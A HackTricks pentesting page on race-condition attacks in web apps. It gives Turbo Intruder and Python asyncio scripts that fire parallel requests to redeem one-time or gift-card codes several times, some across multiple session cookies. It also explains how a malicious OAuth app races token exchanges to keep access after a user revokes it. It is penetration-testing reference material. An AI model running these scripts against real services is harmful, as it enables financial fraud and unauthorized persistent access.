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153 lines
9 KiB
Markdown
153 lines
9 KiB
Markdown
# Race Condition
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Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
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{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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## Anything limited by a number of attempts
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Race conditions are **vulnerabilities** that **appear** in webs that **limit the number of times you can perform an action**. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43).
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## Using several times a one-time use code
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When you make the web page perform some **action** that **should be done only once**, but if the action is done **several times** you will be **benefited**, you really need to try a **Race condicion**.\
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Most of the time this is directly related with **money** (if an action is made you get X money, so let's try to make it several time very quickly)**.**
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### **Using from the same account the same code several times**
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For example, in [**this bug** ](https://hackerone.com/reports/759247)the hunter was able to **load the money inside a gift card several times.**
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This is the **turbo intruder** script used to **test** the **race condition** of the mentioned writeup:
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```python
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def queueRequests(target, wordlists):
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engine = RequestEngine(endpoint=target.endpoint,
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concurrentConnections=30,
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requestsPerConnection=30,
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pipeline=False
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)
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for i in range(30):
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engine.queue(target.req, i)
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engine.queue(target.req, target.baseInput, gate='race1')
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engine.start(timeout=5)
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engine.openGate('race1')
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engine.complete(timeout=60)
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def handleResponse(req, interesting):
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table.add(req)
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```
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Using also BURP you could also send the **request** to **Intruder**, set the **number of threads** to **30** inside the **Options menu and,** select as payload **Null payloads** and generate **30.**
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### **Using the same code from different accounts**
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**If the previously proposal didn't work (try to use the same code several times from the same account) you try a variant:Try t use the same code from different accounts:**
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```python
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def queueRequests(target, wordlists):
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engine = RequestEngine(endpoint=target.endpoint,
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concurrentConnections=5,
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requestsPerConnection=1,
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pipeline=False
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)
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a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
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for i in range(len(a)):
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engine.queue(target.req,a[i], gate='race1')
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# open TCP connections and send partial requests
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engine.start(timeout=10)
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engine.openGate('race1')
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engine.complete(timeout=60)
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def handleResponse(req, interesting):
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table.add(req)
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```
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### Using Python
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```python
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import asyncio
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import httpx
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async def use_code(client):
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resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
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return resp.text
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async def main():
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async with httpx.AsyncClient() as client:
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tasks = []
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for _ in range(20): #20 times
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tasks.append(asyncio.ensure_future(use_code(client)))
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# Get responses
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results = await asyncio.gather(*tasks, return_exceptions=True)
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# Print results
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for r in results:
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print(r)
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# Async2sync sleep
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await asyncio.sleep(0.5)
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print(results)
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asyncio.run(main())
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```
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## OAuth2 eternal persistence
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There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\
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So, until here just a common login with google/linkdin/github... where you are prompted with a page saying: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
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#### Race Condition in `authorization_code`
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The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**.
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#### Race Condition in `Refresh Token`
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Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**
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## References
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* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
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* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
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* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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 (1) (2).png>)
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\
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Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
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Get Access Today:
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{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
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